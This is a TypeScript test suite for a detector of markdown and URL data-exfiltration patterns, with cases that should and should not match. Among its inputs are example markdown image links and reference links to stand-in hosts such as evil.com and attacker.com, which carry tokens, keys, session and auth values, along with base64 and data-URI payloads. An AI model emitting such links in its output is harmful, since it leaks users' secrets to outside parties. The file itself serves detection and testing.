import { scanForExfiltration, scanDataUris } from '../src/rules/exfiltration-patterns.js';

interface TestCase {
  name: string;
  input: string;
  shouldMatch: boolean;
}

// Generate 50+ char query string for testing
const LONG_QUERY = 'a'.repeat(55);

// Build a fake PNG base64 with valid header (89 50 4E 47 0D 0A 1A 0A)
function buildValidPngBase64(sizeChars: number): string {
  // PNG header bytes: 137 80 78 71 13 10 26 10
  const header = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]);
  const padding = Buffer.alloc(Math.max(0, Math.ceil(sizeChars * 3 / 4) - 8), 0x00);
  return Buffer.concat([header, padding]).toString('base64').slice(0, sizeChars);
}

// Build invalid (non-image) base64 data
function buildRandomBase64(sizeChars: number): string {
  const buf = Buffer.alloc(Math.ceil(sizeChars * 3 / 4), 0x41); // All 'A's
  return buf.toString('base64').slice(0, sizeChars);
}

const TEST_CASES: TestCase[] = [
  // Should detect
  {
    name: 'Image with data param',
    input: '![img](https://evil.com/steal?data=secrettoken123)',
    shouldMatch: true,
  },
  {
    name: 'Image with token param',
    input: '![tracking](https://attacker.com/px?token=mysecrettoken)',
    shouldMatch: true,
  },
  {
    name: 'Image with key param',
    input: '![x](https://evil.com/x?key=supersecretapikey123)',
    shouldMatch: true,
  },
  {
    name: 'Image with session param',
    input: '![](https://evil.com?session=abc123)',
    shouldMatch: true,
  },
  {
    name: 'Image with auth param',
    input: '![pixel](https://evil.com/track?auth=bearer_token_here)',
    shouldMatch: true,
  },
  {
    name: 'Suspicious long query link',
    input: `[click here](https://evil.com/x?${LONG_QUERY})`,
    shouldMatch: true,
  },
  {
    name: 'Reference style exfil',
    input: '[ref]: https://evil.com/steal?steal=mydata',
    shouldMatch: true,
  },
  {
    name: 'Base64 in URL path',
    input: 'https://evil.com/QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB',
    shouldMatch: true,
  },

  // Data URI: non-image MIME should match
  {
    name: 'Non-image data URI (text/html)',
    input: `data:text/html;base64,${buildRandomBase64(200)}`,
    shouldMatch: true,
  },

  // Data URI: image with invalid header should match
  {
    name: 'Image data URI with invalid header',
    input: `data:image/png;base64,${buildRandomBase64(200)}`,
    shouldMatch: true,
  },

  // Data URI: oversized image should match
  {
    name: 'Oversized image data URI (>500KB)',
    input: `data:image/png;base64,${buildValidPngBase64(700_000)}`,
    shouldMatch: true,
  },

  // Should NOT detect (false positives)
  {
    name: 'Normal GitHub link',
    input: '[GitHub](https://github.com/user/repo)',
    shouldMatch: false,
  },
  {
    name: 'Normal docs URL',
    input: 'https://docs.example.com/api',
    shouldMatch: false,
  },
  {
    name: 'Normal image no params',
    input: '![logo](https://example.com/logo.png)',
    shouldMatch: false,
  },
  {
    name: 'Wikipedia link',
    input: '[Wikipedia](https://wikipedia.org/wiki/Prompt_injection)',
    shouldMatch: false,
  },
  {
    name: 'Normal markdown text',
    input: 'Here is a list of resources for learning TypeScript.',
    shouldMatch: false,
  },
  {
    name: 'Short URL no query',
    input: 'Visit https://example.com for more info',
    shouldMatch: false,
  },
  {
    name: 'Small valid PNG data URI (safe)',
    input: `![icon](data:image/png;base64,${buildValidPngBase64(200)})`,
    shouldMatch: false,
  },
  {
    name: 'Short data URI below threshold',
    input: 'data:image/png;base64,iVBORw0KGg==',
    shouldMatch: false,
  },
];

export async function runExfiltrationTests(): Promise<{ suite: string; passed: number; failed: number; errors: string[] }> {
  let passed = 0;
  let failed = 0;
  const errors: string[] = [];

  for (const tc of TEST_CASES) {
    const result = scanForExfiltration(tc.input);
    const ok = result.matched === tc.shouldMatch;
    if (ok) {
      passed++;
    } else {
      failed++;
      const direction = tc.shouldMatch ? 'should have been detected but was not' : 'should NOT have been detected but was';
      const details = result.matched ? ` (matched: ${result.findings.map(f => f.rule).join(', ')})` : '';
      errors.push(`[${tc.name}] ${direction}${details}`);
    }
  }

  return { suite: 'Exfiltration Detector', passed, failed, errors };
}